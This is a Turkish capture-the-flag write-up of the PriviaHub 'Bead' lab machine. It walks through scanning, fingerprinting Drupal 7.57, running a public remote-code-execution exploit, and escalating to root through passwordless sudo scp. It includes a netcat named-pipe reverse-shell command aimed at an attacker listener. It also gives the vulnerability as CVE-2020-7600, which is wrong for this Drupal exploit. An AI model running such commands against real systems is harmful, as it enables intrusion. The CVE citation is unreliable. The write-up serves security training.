PriviaHub Bead Makinesi Çözümü

Bu yazıda PriviaHub platformunda bulunan BEAD makinesinin çözümü anlatılmaktadır. Writeup çözümü PriviaHub kullanıcısı “CEngover” tarafından hazırlanmıştır. Orta-3 seviye ve Ubuntu işletim sistemine sahip bu makine, PriviaHub’ın 1. yılına özel olarak paylaşıldı. Makine çözüm adımları aşağıda yer almaktadır.

Nmap aracı kullanılarak hedef sisteme yönelik tarama işlemi yapıldı.

nmap -sC -sV 172.16.5.111 -oA nmap/bead-open-ports komutu ile hedef sisteme yönelik script ve version taraması gerçekleştirildi. Elde edilen tarama sonuçları Resim 1’de yer almaktadır.

Tarama işlemi sonucunda hedef sistemde 22 ve 80 numaralı TCP portlarının açık olduğu; 22 numaralı port üzerinde OpenSSH ve 80 numaralı port üzerinde HTTP servisinin çalıştığı tespit edildi. Ayrıca Nmap taraması sonucunda HTTP üzerinde çalışan web uygulamasının erişilebilir dizinleri de listelendi.

PriviaHub Bead Makinesi Çözümü

Hedef web sitesi 80 numaralı port üzerinden ziyaret edildiğinde bir giriş sayfası görülmektedir. Bu sistem üzerinde Drupal içerik yönetim sistemi çalışmaktadır. Eğer bu tür bir içerik yönetim sistemi ile ilk defa karşılaşılıyor ise bilgi toplama işlemine devam edilmesi gerekmektedir. Erişilebilir alt dizinlerin tespiti, web uygulamasının kullandığı teknolojilerin tespiti bir sonraki adım için gerekli bilgiyi sağlayabilir.

whatweb komutu ile hedef web sitesinin kullandığı teknolojiler listelendi. Bu işlem sonucunda Drupal içerik yönetim sisteminin versiyon bilgisi tespit edildi.

Nmap taraması sonucunda tespit edilen CHANGELOG.txt dosyası ziyaret edildiğinde Drupal’ın en son versiyonunun 7.57 olduğu tespit edildi.

Versiyon bilgisinin elde edilmesi sonucunda Google araması ile mevcut sürümün CVE-2020-7600 kodlu Remote Code Execution zafiyetinden etkilendiği ve bu zafiyete ait exploit kodu tespit edildi. Exploit linkine buradan ulaşabilirsiniz. Resim 5’te exploit dosyasının çalıştırılması sonucunda hedef sistemden elde edilen oturuma ait görsel yer almaktadır.

ruby 44449.rb

komutu ile zafiyet başarılı bir şekilde tetiklendi ve hedef sistemden komut satırı oturumu elde edildi. Sistemden daha etkili bir shell bağlantısı elde etmek için, bu exploit aracılığıyla sisteme yüklenen shell.php sayfası üzerinden interaktif bir reverse shell bağlantısı elde edilebilir.

0</tmp/backpipe p;/bin/sh /tmp/backpipe|nc 192.100.0.48 1337 1>/tmp/backpipe

Komutu ile saldırgan makinede dinlemeye alınan 1337 numaralı porta bağlantı isteği gönderilerek, netcat ile reverse shell bağlantısı elde edildi.

Hedef sistemden düşük yetkili rain kullanıcısı ile oturum elde edildi. rain adlı kullanıcının sudo ile yapabileceklerini listelemek amacıyla

sudo -l komutu çalıştırıldı. rain adlı kullanıcının sudo ile scp uygulamasını, herhangi bir parola belirtmeden root hakları ile çalıştırabileceği tespit edildi.

Scp uygulamasından yararlanarak root kullanıcısı ile shell elde etmek için Resim 7’de görülen adımlar uygulandı. Root haklarına erişim sağlanarak hak ve yetki yükseltme işlemi tamamlandı.